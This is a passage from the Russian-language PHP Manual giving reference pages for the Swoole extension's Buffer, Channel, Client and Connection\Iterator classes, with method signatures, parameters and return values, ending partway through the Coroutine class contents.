  • Swoole\Buffer::append — Добавляет строку или двоичные данные в конец буфера памяти и возвращает новый размер выделенной памяти
  • Swoole\Buffer::clear — Сбрасывает буфер памяти
  • Swoole\Buffer::__construct — Фиксированный размер блока памяти
  • Swoole\Buffer::__destruct — Уничтожает буфер памяти Swoole
  • Swoole\Buffer::expand — Расширяет размер буфера памяти
  • Swoole\Buffer::read — Читает данные из буфера памяти на основе смещения и длины
  • Swoole\Buffer::recycle — Освобождает память для ОС, которая не используется буфером памяти
  • Swoole\Buffer::substr — Считывает данные из буфера памяти на основе смещения и длины. Или удаляет данные из буфера памяти
  • Swoole\Buffer::__toString — Получает строковое значение буфера памяти
  • Swoole\Buffer::write — Записывает данные в буфер памяти. Память, выделенная для буфера, не будет изменена

User Contributed Notes

There are no user contributed notes for this page.


Добавляет строку или двоичные данные в конец буфера памяти и возвращает новый размер выделенной памяти

  • « Swoole\Buffer
  • Swoole\Buffer::clear »
  • PHP Manual
  • Swoole\Buffer
  • Добавляет строку или двоичные данные в конец буфера памяти и возвращает новый размер выделенной памяти

Swoole\Buffer::append

(PECL swoole >= 1.9.0)

Swoole\Buffer::append — Добавляет строку или двоичные данные в конец буфера памяти и возвращает новый размер выделенной памяти

Описание

public Swoole\Buffer::append(string $data): int

Список параметров

data

Строка или двоичные данные, добавляемые в конец буфера памяти.

Возвращаемые значения

Новый размер буфера памяти.

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает буфер памяти

  • « Swoole\Buffer::append
  • Swoole\Buffer::__construct »
  • PHP Manual
  • Swoole\Buffer
  • Сбрасывает буфер памяти

Swoole\Buffer::clear

(PECL swoole >= 1.9.0)

Swoole\Buffer::clear — Сбрасывает буфер памяти

Описание

public Swoole\Buffer::clear(): void

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Фиксированный размер блока памяти

  • « Swoole\Buffer::clear
  • Swoole\Buffer::__destruct »
  • PHP Manual
  • Swoole\Buffer
  • Фиксированный размер блока памяти

Swoole\Buffer::__construct

(PECL swoole >= 1.9.0)

Swoole\Buffer::__construct — Фиксированный размер блока памяти

Описание

public Swoole\Buffer::__construct(int $size = ?)

Список параметров

size

Размер памяти для выделения.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает буфер памяти Swoole

  • « Swoole\Buffer::__construct
  • Swoole\Buffer::expand »
  • PHP Manual
  • Swoole\Buffer
  • Уничтожает буфер памяти Swoole

Swoole\Buffer::__destruct

(PECL swoole >= 1.9.0)

Swoole\Buffer::__destruct — Уничтожает буфер памяти Swoole

Описание

public Swoole\Buffer::__destruct(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Расширяет размер буфера памяти

  • « Swoole\Buffer::__destruct
  • Swoole\Buffer::read »
  • PHP Manual
  • Swoole\Buffer
  • Расширяет размер буфера памяти

Swoole\Buffer::expand

(PECL swoole >= 1.9.0)

Swoole\Buffer::expand — Расширяет размер буфера памяти

Описание

public Swoole\Buffer::expand(int $size): int

Список параметров

size

Новый размер буфера памяти.

Возвращаемые значения

Новый размер буфера памяти.

User Contributed Notes

There are no user contributed notes for this page.


Читает данные из буфера памяти на основе смещения и длины

  • « Swoole\Buffer::expand
  • Swoole\Buffer::recycle »
  • PHP Manual
  • Swoole\Buffer
  • Читает данные из буфера памяти на основе смещения и длины

Swoole\Buffer::read

(PECL swoole >= 1.9.0)

Swoole\Buffer::read — Читает данные из буфера памяти на основе смещения и длины

Описание

public Swoole\Buffer::read(int $offset, int $length): string

Список параметров

offset

Смещение.

length

Длина.

Возвращаемые значения

Данные, считанные из буфера памяти.

User Contributed Notes

There are no user contributed notes for this page.


Освобождает память для ОС, которая не используется буфером памяти

  • « Swoole\Buffer::read
  • Swoole\Buffer::substr »
  • PHP Manual
  • Swoole\Buffer
  • Освобождает память для ОС, которая не используется буфером памяти

Swoole\Buffer::recycle

(PECL swoole >= 1.9.0)

Swoole\Buffer::recycle — Освобождает память для ОС, которая не используется буфером памяти

Описание

public Swoole\Buffer::recycle(): void

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Считывает данные из буфера памяти на основе смещения и длины. Или удаляет данные из буфера памяти

  • « Swoole\Buffer::recycle
  • Swoole\Buffer::__toString »
  • PHP Manual
  • Swoole\Buffer
  • Считывает данные из буфера памяти на основе смещения и длины. Или удаляет данные из буфера памяти

Swoole\Buffer::substr

(PECL swoole >= 1.9.0)

Swoole\Buffer::substr — Считывает данные из буфера памяти на основе смещения и длины. Или удаляет данные из буфера памяти

Описание

public Swoole\Buffer::substr(int $offset, int $length = ?, bool $remove = ?): string

Если для $remove установлено значение true, а для $offset установлено значение 0, данные будут удалены из буфера. Память для хранения данных будет освобождена при уничтожении объекта буфера.

Список параметров

offset

Смещение.

length

Длина.

remove

Определяет, удалить ли данные из буфера памяти.

Возвращаемые значения

Данные или строка, прочитанные из буфера памяти.

User Contributed Notes

There are no user contributed notes for this page.


Получает строковое значение буфера памяти

  • « Swoole\Buffer::substr
  • Swoole\Buffer::write »
  • PHP Manual
  • Swoole\Buffer
  • Получает строковое значение буфера памяти

Swoole\Buffer::__toString

(PECL swoole >= 1.9.0)

Swoole\Buffer::__toString — Получает строковое значение буфера памяти

Описание

public Swoole\Buffer::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строковое значение буфера памяти.

User Contributed Notes

There are no user contributed notes for this page.


Записывает данные в буфер памяти. Память, выделенная для буфера, не будет изменена

  • « Swoole\Buffer::__toString
  • Swoole\Channel »
  • PHP Manual
  • Swoole\Buffer
  • Записывает данные в буфер памяти. Память, выделенная для буфера, не будет изменена

Swoole\Buffer::write

(PECL swoole >= 1.9.0)

Swoole\Buffer::write — Записывает данные в буфер памяти. Память, выделенная для буфера, не будет изменена

Описание

public Swoole\Buffer::write(int $offset, string $data): void

Список параметров

offset

Смещение.

data

Данные для записи в буфер памяти.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Channel

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Channel {
/* Методы */
public __destruct(): void
public pop(): mixed
public push(string $data): bool
public stats(): array
}

Содержание

  • Swoole\Channel::__construct — Создаёт канал Swoole
  • Swoole\Channel::__destruct — Уничтожает канал Swoole
  • Swoole\Channel::pop — Читает и извлекает данные из канала Swoole
  • Swoole\Channel::push — Записывает и передаёт данные в канал Swoole
  • Swoole\Channel::stats — Получает статистику канала Swoole

User Contributed Notes

There are no user contributed notes for this page.


Создаёт канал Swoole

  • « Swoole\Channel
  • Swoole\Channel::__destruct »
  • PHP Manual
  • Swoole\Channel
  • Создаёт канал Swoole

Swoole\Channel::__construct

(PECL swoole >= 1.9.0)

Swoole\Channel::__construct — Создаёт канал Swoole

Описание

public Swoole\Channel::__construct(string $size)

Канал Swoole - это структура данных в памяти, которая работает как Chan в Golang, реализована на основе разделяемой памяти и мьютексов. Может использоваться как высокопроизводительная очередь сообщений в памяти. Создание канала Swoole с фиксированным размером. Минимальный размер канала Swoole составляет 64 КБ. Будут выброшены исключения, если недостаточно памяти.

Список параметров

size

Размер канала Swoole.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает канал Swoole

  • « Swoole\Channel::__construct
  • Swoole\Channel::pop »
  • PHP Manual
  • Swoole\Channel
  • Уничтожает канал Swoole

Swoole\Channel::__destruct

(PECL swoole >= 1.9.0)

Swoole\Channel::__destruct — Уничтожает канал Swoole

Описание

public Swoole\Channel::__destruct(): void

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Читает и извлекает данные из канала Swoole

  • « Swoole\Channel::__destruct
  • Swoole\Channel::push »
  • PHP Manual
  • Swoole\Channel
  • Читает и извлекает данные из канала Swoole

Swoole\Channel::pop

(PECL swoole >= 1.9.0)

Swoole\Channel::pop — Читает и извлекает данные из канала Swoole

Описание

public Swoole\Channel::pop(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Если канал пуст, функция вернёт false или несериализованные данные.

User Contributed Notes

There are no user contributed notes for this page.


Записывает и передаёт данные в канал Swoole

  • « Swoole\Channel::pop
  • Swoole\Channel::stats »
  • PHP Manual
  • Swoole\Channel
  • Записывает и передаёт данные в канал Swoole

Swoole\Channel::push

(PECL swoole >= 1.9.0)

Swoole\Channel::push — Записывает и передаёт данные в канал Swoole

Описание

public Swoole\Channel::push(string $data): bool

Данные могут быть любой непустой переменной PHP, переменная будет сериализована, если она не является строковым типом.

Если размер данных превышает 8 КБ, канал Swoole будет использовать временные хранилища файлов.

Функция вернёт true, если операция записи выполнена успешно или false, если недостаточно места.

Список параметров

data

Данные для вставки в канал Swoole.

Возвращаемые значения

Передались ли данные в канал Swoole.

User Contributed Notes

There are no user contributed notes for this page.


Получает статистику канала Swoole

  • « Swoole\Channel::push
  • Swoole\Client »
  • PHP Manual
  • Swoole\Channel
  • Получает статистику канала Swoole

Swoole\Channel::stats

(PECL swoole >= 1.9.0)

Swoole\Channel::stats — Получает статистику канала Swoole

Описание

public Swoole\Channel::stats(): array

Получает количество элементов в очереди и общий объем памяти, используемой в очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Статистика канала Swoole.

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Client

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Client {
/* Constants */
const int MSG_OOB = 1;
const int MSG_PEEK = 2;
const int MSG_DONTWAIT = 128;
const int MSG_WAITALL = 64;
/* Свойства */
public $errCode;
public $sock;
public $reuse;
public $reuseCount;
/* Методы */
public close(bool $force = ?): bool
public connect(
string $host,
int $port = ?,
int $timeout = ?,
int $flag = ?
): bool
public __destruct(): void
public getpeername(): array
public getsockname(): array
public isConnected(): bool
public on(string $event, callable $callback): void
public pause(): void
public pipe(string $socket): void
public recv(string $size = ?, string $flag = ?): void
public resume(): void
public send(string $data, string $flag = ?): int
public sendfile(string $filename, int $offset = ?): bool
public sendto(string $ip, int $port, string $data): bool
public set(array $settings): void
public sleep(): void
public wakeup(): void
}

Свойства

errCode

sock

reuse

reuseCount

Предопределённые константы

Swoole\Client::MSG_OOB

Swoole\Client::MSG_PEEK

Swoole\Client::MSG_DONTWAIT

Swoole\Client::MSG_WAITALL

Содержание

  • Swoole\Client::close — Закрывает установленное соединение
  • Swoole\Client::connect — Подключается к удалённому порту TCP или UDP
  • Swoole\Client::__construct — Создаёт синхронный или асинхронный TCP/UDP клиент Swoole с поддержкой SSL или без него
  • Swoole\Client::__destruct — Уничтожает клиент Swoole
  • Swoole\Client::getpeername — Получает имя удалённого сокета соединения
  • Swoole\Client::getsockname — Получает локальное имя сокета соединения
  • Swoole\Client::isConnected — Проверяет, установлено ли соединение
  • Swoole\Client::on — Добавляет callback-функции, вызванные событиями
  • Swoole\Client::pause — Приостанавливает получение данных
  • Swoole\Client::pipe — Перенаправляет данные в другой файловый дескриптор
  • Swoole\Client::recv — Получает данные из удалённого сокета
  • Swoole\Client::resume — Возобновляет получение данных
  • Swoole\Client::send — Отправляет данные в удалённый TCP-сокет
  • Swoole\Client::sendfile — Отправляет файл в удалённый TCP-сокет
  • Swoole\Client::sendto — Отправляет данные на удалённый UDP-адрес
  • Swoole\Client::set — Устанавливает параметры клиента Swoole до установления соединения
  • Swoole\Client::sleep — Удаляет TCP-клиент из цикла системных событий
  • Swoole\Client::wakeup — Добавляет TCP-клиент обратно в цикл системных событий

User Contributed Notes

There are no user contributed notes for this page.


Закрывает установленное соединение

  • « Swoole\Client
  • Swoole\Client::connect »
  • PHP Manual
  • Swoole\Client
  • Закрывает установленное соединение

Swoole\Client::close

(PECL swoole >= 1.9.0)

Swoole\Client::close — Закрывает установленное соединение

Описание

public Swoole\Client::close(bool $force = ?): bool

Список параметров

force

Определяет, принудительное закрытие соединения.

Возвращаемые значения

Закрыто ли соединение.

User Contributed Notes

There are no user contributed notes for this page.


Подключается к удалённому порту TCP или UDP

  • « Swoole\Client::close
  • Swoole\Client::__construct »
  • PHP Manual
  • Swoole\Client
  • Подключается к удалённому порту TCP или UDP

Swoole\Client::connect

(PECL swoole >= 1.9.0)

Swoole\Client::connect — Подключается к удалённому порту TCP или UDP

Описание

public Swoole\Client::connect(
string $host,
int $port = ?,
int $timeout = ?,
int $flag = ?
): bool

Список параметров

host

Имя хоста удалённого адреса.

port

Номер порта удалённого адреса.

timeout

Время ожидания (в секундах) соединения/отправки/получения, значение по умолчанию составляет 0,1 с

flag

Если тип клиента - UDP, $flag означает, включена ли конфигурацию udp_connect. Если конфигурация udp_connect включена, клиент будет получать данные только с указанного ip:port. Если тип клиента TCP, а $flag установлен в 1, он должен использовать swoole_client_select для проверки состояния соединения перед отправкой/получением.

Возвращаемые значения

Установлено ли соединение.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт синхронный или асинхронный TCP/UDP клиент Swoole с поддержкой SSL или без него

  • « Swoole\Client::connect
  • Swoole\Client::__destruct »
  • PHP Manual
  • Swoole\Client
  • Создаёт синхронный или асинхронный TCP/UDP клиент Swoole с поддержкой SSL или без него

Swoole\Client::__construct

(PECL swoole >= 1.9.0)

Swoole\Client::__construct — Создаёт синхронный или асинхронный TCP/UDP клиент Swoole с поддержкой SSL или без него

Описание

public Swoole\Client::__construct(int $sock_type, int $is_async = ?)

Список параметров

sock_type

Тип сокета: SWOOLE_TCP, SWOOLE_UDP, SWOOLE_ASYNC, SWOOLE_SSL, SWOOLE_KEEP.

is_async

Синхронный или асинхронный клиент.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает клиент Swoole

  • « Swoole\Client::__construct
  • Swoole\Client::getpeername »
  • PHP Manual
  • Swoole\Client
  • Уничтожает клиент Swoole

Swoole\Client::__destruct

(PECL swoole >= 1.9.0)

Swoole\Client::__destruct — Уничтожает клиент Swoole

Описание

public Swoole\Client::__destruct(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Получает имя удалённого сокета соединения

  • « Swoole\Client::__destruct
  • Swoole\Client::getsockname »
  • PHP Manual
  • Swoole\Client
  • Получает имя удалённого сокета соединения

Swoole\Client::getpeername

(PECL swoole >= 1.9.0)

Swoole\Client::getpeername — Получает имя удалённого сокета соединения

Описание

public Swoole\Client::getpeername(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Хост и порт удалённого сокета.

User Contributed Notes

There are no user contributed notes for this page.


Получает локальное имя сокета соединения

  • « Swoole\Client::getpeername
  • Swoole\Client::isConnected »
  • PHP Manual
  • Swoole\Client
  • Получает локальное имя сокета соединения

Swoole\Client::getsockname

(PECL swoole >= 1.9.0)

Swoole\Client::getsockname — Получает локальное имя сокета соединения

Описание

public Swoole\Client::getsockname(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Хост и порт локального сокета.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, установлено ли соединение

  • « Swoole\Client::getsockname
  • Swoole\Client::on »
  • PHP Manual
  • Swoole\Client
  • Проверяет, установлено ли соединение

Swoole\Client::isConnected

(PECL swoole >= 1.9.0)

Swoole\Client::isConnected — Проверяет, установлено ли соединение

Описание

public Swoole\Client::isConnected(): bool

Метод возвращает состояние соединения прикладного уровня.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Установлено ли соединение.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет callback-функции, вызванные событиями

  • « Swoole\Client::isConnected
  • Swoole\Client::pause »
  • PHP Manual
  • Swoole\Client
  • Добавляет callback-функции, вызванные событиями

Swoole\Client::on

(PECL swoole >= 1.9.0)

Swoole\Client::on — Добавляет callback-функции, вызванные событиями

Описание

public Swoole\Client::on(string $event, callable $callback): void

Список параметров

event

callback

User Contributed Notes

There are no user contributed notes for this page.


Приостанавливает получение данных

  • « Swoole\Client::on
  • Swoole\Client::pipe »
  • PHP Manual
  • Swoole\Client
  • Приостанавливает получение данных

Swoole\Client::pause

(PECL swoole >= 1.9.0)

Swoole\Client::pause — Приостанавливает получение данных

Описание

public Swoole\Client::pause(): void

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Перенаправляет данные в другой файловый дескриптор

  • « Swoole\Client::pause
  • Swoole\Client::recv »
  • PHP Manual
  • Swoole\Client
  • Перенаправляет данные в другой файловый дескриптор

Swoole\Client::pipe

(PECL swoole >= 1.9.0)

Swoole\Client::pipe — Перенаправляет данные в другой файловый дескриптор

Описание

public Swoole\Client::pipe(string $socket): void

Список параметров

socket

User Contributed Notes

There are no user contributed notes for this page.


Получает данные из удалённого сокета

  • « Swoole\Client::pipe
  • Swoole\Client::resume »
  • PHP Manual
  • Swoole\Client
  • Получает данные из удалённого сокета

Swoole\Client::recv

(PECL swoole >= 1.9.0)

Swoole\Client::recv — Получает данные из удалённого сокета

Описание

public Swoole\Client::recv(string $size = ?, string $flag = ?): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

size

flag

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возобновляет получение данных

  • « Swoole\Client::recv
  • Swoole\Client::send »
  • PHP Manual
  • Swoole\Client
  • Возобновляет получение данных

Swoole\Client::resume

(PECL swoole >= 1.9.0)

Swoole\Client::resume — Возобновляет получение данных

Описание

public Swoole\Client::resume(): void

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные в удалённый TCP-сокет

  • « Swoole\Client::resume
  • Swoole\Client::sendfile »
  • PHP Manual
  • Swoole\Client
  • Отправляет данные в удалённый TCP-сокет

Swoole\Client::send

(PECL swoole >= 1.9.0)

Swoole\Client::send — Отправляет данные в удалённый TCP-сокет

Описание

public Swoole\Client::send(string $data, string $flag = ?): int

Список параметров

data

Данные для отправки, которые могут быть строковыми или двоичными

flag

Возвращаемые значения

Если клиент успешно отправил данные, он возвращает длину отправленных данных. Или он возвращает false и устанавливает $swoole_client->errCode. Для синхронного клиента нет ограничений на отправку данных. Для асинхронного клиента ограничение на отправку данных - socket_buffer_size.

User Contributed Notes

There are no user contributed notes for this page.


Отправляет файл в удалённый TCP-сокет

  • « Swoole\Client::send
  • Swoole\Client::sendto »
  • PHP Manual
  • Swoole\Client
  • Отправляет файл в удалённый TCP-сокет

Swoole\Client::sendfile

(PECL swoole >= 1.9.0)

Swoole\Client::sendfile — Отправляет файл в удалённый TCP-сокет

Описание

public Swoole\Client::sendfile(string $filename, int $offset = ?): bool

Является оболочкой системного вызова sendfile в Linux.

Список параметров

filename

Путь к файлу для отправки.

offset

Смещение файла для отправки

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отправляет данные на удалённый UDP-адрес

  • « Swoole\Client::sendfile
  • Swoole\Client::set »
  • PHP Manual
  • Swoole\Client
  • Отправляет данные на удалённый UDP-адрес

Swoole\Client::sendto

(PECL swoole >= 1.9.0)

Swoole\Client::sendto — Отправляет данные на удалённый UDP-адрес

Описание

public Swoole\Client::sendto(string $ip, int $port, string $data): bool

Тип клиента swoole должен быть SWOOLE_SOCK_UDP или SWOOLE_SOCK_UDP6.

Список параметров

ip

IP-адрес удалённого хоста, IPv4 или IPv6.

port

Номер порта удалённого хоста.

data

Данные для отправки должны быть меньше 64К.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает параметры клиента Swoole до установления соединения

  • « Swoole\Client::sendto
  • Swoole\Client::sleep »
  • PHP Manual
  • Swoole\Client
  • Устанавливает параметры клиента Swoole до установления соединения

Swoole\Client::set

(PECL swoole >= 1.9.0)

Swoole\Client::set — Устанавливает параметры клиента Swoole до установления соединения

Описание

public Swoole\Client::set(array $settings): void

Список параметров

settings

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Удаляет TCP-клиент из цикла системных событий

  • « Swoole\Client::set
  • Swoole\Client::wakeup »
  • PHP Manual
  • Swoole\Client
  • Удаляет TCP-клиент из цикла системных событий

Swoole\Client::sleep

(PECL swoole >= 1.9.0)

Swoole\Client::sleep — Удаляет TCP-клиент из цикла системных событий

Описание

public Swoole\Client::sleep(): void

Удаляет TCP-клиент из цикла системных событий.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Добавляет TCP-клиент обратно в цикл системных событий

  • « Swoole\Client::sleep
  • Swoole\Connection\Iterator »
  • PHP Manual
  • Swoole\Client
  • Добавляет TCP-клиент обратно в цикл системных событий

Swoole\Client::wakeup

(PECL swoole >= 1.9.0)

Swoole\Client::wakeup — Добавляет TCP-клиент обратно в цикл системных событий

Описание

public Swoole\Client::wakeup(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Connection\Iterator

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Connection\Iterator implements Iterator, Countable, ArrayAccess {
/* Методы */
public count(): int
public current(): Connection
public key(): int
public next(): Connection
public offsetExists(int $index): bool
public offsetGet(string $index): Connection
public offsetSet(int $offset, mixed $connection): void
public offsetUnset(int $offset): void
public rewind(): void
public valid(): bool
}

Содержание

  • Swoole\Connection\Iterator::count — Считает соединения
  • Swoole\Connection\Iterator::current — Возвращает текущую запись соединения
  • Swoole\Connection\Iterator::key — Возвращает ключ текущего соединения
  • Swoole\Connection\Iterator::next — Переходит к следующему соединению
  • Swoole\Connection\Iterator::offsetExists — Проверяет, существует ли смещение
  • Swoole\Connection\Iterator::offsetGet — Смещение для извлечения
  • Swoole\Connection\Iterator::offsetSet — Назначает соединение для указанного смещения
  • Swoole\Connection\Iterator::offsetUnset — Сбрасывает смещение
  • Swoole\Connection\Iterator::rewind — Перематывает итератор
  • Swoole\Connection\Iterator::valid — Проверяет правильность текущей позиции

User Contributed Notes

There are no user contributed notes for this page.


Считает соединения

  • « Swoole\Connection\Iterator
  • Swoole\Connection\Iterator::current »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Считает соединения

Swoole\Connection\Iterator::count

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::count — Считает соединения

Описание

public Swoole\Connection\Iterator::count(): int

Получает количество соединений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество соединений.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую запись соединения

  • « Swoole\Connection\Iterator::count
  • Swoole\Connection\Iterator::key »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Возвращает текущую запись соединения

Swoole\Connection\Iterator::current

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::current — Возвращает текущую запись соединения

Описание

public Swoole\Connection\Iterator::current(): Connection

Получает текущую запись соединения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая запись соединения.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ключ текущего соединения

  • « Swoole\Connection\Iterator::current
  • Swoole\Connection\Iterator::next »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Возвращает ключ текущего соединения

Swoole\Connection\Iterator::key

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::key — Возвращает ключ текущего соединения

Описание

public Swoole\Connection\Iterator::key(): int

Функция возвращает ключ текущего соединения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ключ текущего соединения.

User Contributed Notes

There are no user contributed notes for this page.


Переходит к следующему соединению

  • « Swoole\Connection\Iterator::key
  • Swoole\Connection\Iterator::offsetExists »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Переходит к следующему соединению

Swoole\Connection\Iterator::next

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::next — Переходит к следующему соединению

Описание

public Swoole\Connection\Iterator::next(): Connection

Итератор для следующего соединения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли смещение

  • « Swoole\Connection\Iterator::next
  • Swoole\Connection\Iterator::offsetGet »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Проверяет, существует ли смещение

Swoole\Connection\Iterator::offsetExists

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetExists — Проверяет, существует ли смещение

Описание

public Swoole\Connection\Iterator::offsetExists(int $index): bool

Проверяет, существует ли смещение.

Список параметров

index

Смещение, которое необходимо проверить.

Возвращаемые значения

Возвращает TRUE, если смещение существует, в противном случае FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Смещение для извлечения

  • « Swoole\Connection\Iterator::offsetExists
  • Swoole\Connection\Iterator::offsetSet »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Смещение для извлечения

Swoole\Connection\Iterator::offsetGet

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetGet — Смещение для извлечения

Описание

public Swoole\Connection\Iterator::offsetGet(string $index): Connection

Возвращает соединение с указанным смещением.

Список параметров

index

Смещение для извлечения.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначает соединение для указанного смещения

  • « Swoole\Connection\Iterator::offsetGet
  • Swoole\Connection\Iterator::offsetUnset »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Назначает соединение для указанного смещения

Swoole\Connection\Iterator::offsetSet

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetSet — Назначает соединение для указанного смещения

Описание

public Swoole\Connection\Iterator::offsetSet(int $offset, mixed $connection): void

Назначает соединение для указанного смещения.

Список параметров

offset

Смещение для которого назначить соединение.

connection

Соединение для установки.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Сбрасывает смещение

  • « Swoole\Connection\Iterator::offsetSet
  • Swoole\Connection\Iterator::rewind »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Сбрасывает смещение

Swoole\Connection\Iterator::offsetUnset

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetUnset — Сбрасывает смещение

Описание

public Swoole\Connection\Iterator::offsetUnset(int $offset): void

Сбрасывает смещение.

Список параметров

offset

Смещение для сбрасывания.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Перематывает итератор

  • « Swoole\Connection\Iterator::offsetUnset
  • Swoole\Connection\Iterator::valid »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Перематывает итератор

Swoole\Connection\Iterator::rewind

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::rewind — Перематывает итератор

Описание

public Swoole\Connection\Iterator::rewind(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет правильность текущей позиции

  • « Swoole\Connection\Iterator::rewind
  • Swoole\Coroutine »
  • PHP Manual
  • Swoole\Connection\Iterator
  • Проверяет правильность текущей позиции

Swoole\Connection\Iterator::valid

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::valid — Проверяет правильность текущей позиции

Описание

public Swoole\Connection\Iterator::valid(): bool

Проверяет правильность текущей позиции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает TRUE, если текущая позиция итератора верна, иначе FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Coroutine

(PECL swoole >= 2.0.0)

Введение

Обзор классов

class Swoole\Coroutine {
/* Методы */
public static call_user_func_array(callable $callback, array $param_array): mixed
public static call_user_func(callable $callback, mixed ...$args): mixed
public static cli_wait(): ReturnType
public static create(): ReturnType
public Swoole\Coroutine\Client::close(): ReturnType
public Swoole\Coroutine\Client::connect(): ReturnType
public Swoole\Coroutine\Client::__destruct(): ReturnType
public Swoole\Coroutine\Client::getpeername(): ReturnType
public Swoole\Coroutine\Client::getsockname(): ReturnType
public Swoole\Coroutine\Client::isConnected(): ReturnType
public Swoole\Coroutine\Client::recv(): ReturnType
public Swoole\Coroutine\Client::send(): ReturnType
public Swoole\Coroutine\Client::sendfile(): ReturnType
public Swoole\Coroutine\Client::sendto(): ReturnType
public Swoole\Coroutine\Client::set(): ReturnType
public Swoole\Coroutine\Http\Client::addFile(): ReturnType
public Swoole\Coroutine\Http\Client::close(): ReturnType
public Swoole\Coroutine\Http\Client::__destruct(): ReturnType
public Swoole\Coroutine\Http\Client::execute(): ReturnType
public Swoole\Coroutine\Http\Client::get(): ReturnType
public Swoole\Coroutine\Http\Client::getDefer(): ReturnType
public Swoole\Coroutine\Http\Client::isConnected(): ReturnType
public Swoole\Coroutine\Http\Client::post(): ReturnType
public Swoole\Coroutine\Http\Client::recv(): ReturnType
public Swoole\Coroutine\Http\Client::set(): ReturnType
public Swoole\Coroutine\Http\Client::setCookies(): ReturnType
public Swoole\Coroutine\Http\Client::setData(): ReturnType
public Swoole\Coroutine\Http\Client::setDefer(): ReturnType
public Swoole\Coroutine\Http\Client::setHeaders(): ReturnType
public Swoole\Coroutine\Http\Client::setMethod(): ReturnType
public Swoole\Coroutine\MySQL::close(): ReturnType
public Swoole\Coroutine\MySQL::connect(): ReturnType
public Swoole\Coroutine\MySQL::__destruct(): ReturnType
public Swoole\Coroutine\MySQL::getDefer(): ReturnType
public Swoole\Coroutine\MySQL::query(): ReturnType
public Swoole\Coroutine\MySQL::recv(): ReturnType
public Swoole\Coroutine\MySQL::setDefer(): ReturnType
public static getuid(): ReturnType
public static resume(): ReturnType
public static suspend(): ReturnType
}

Содержание

  • Swoole\Coroutine::call_user_func_array — Вызывает callback-функцию с массивом параметров
  • Swoole\Coroutine::call_user_func — Вызывает callback-функцию, заданную первым параметром
  • Swoole\Coroutine::cli_wait — Описание
  • Swoole\Coroutine::create — Описание
  • Swoole\Coroutine\Client::close — Описание
  • Swoole\Coroutine\Client::connect — Описание
  • Swoole\Coroutine\Client::__construct — Описание
  • Swoole\Coroutine\Client::__destruct — Описание
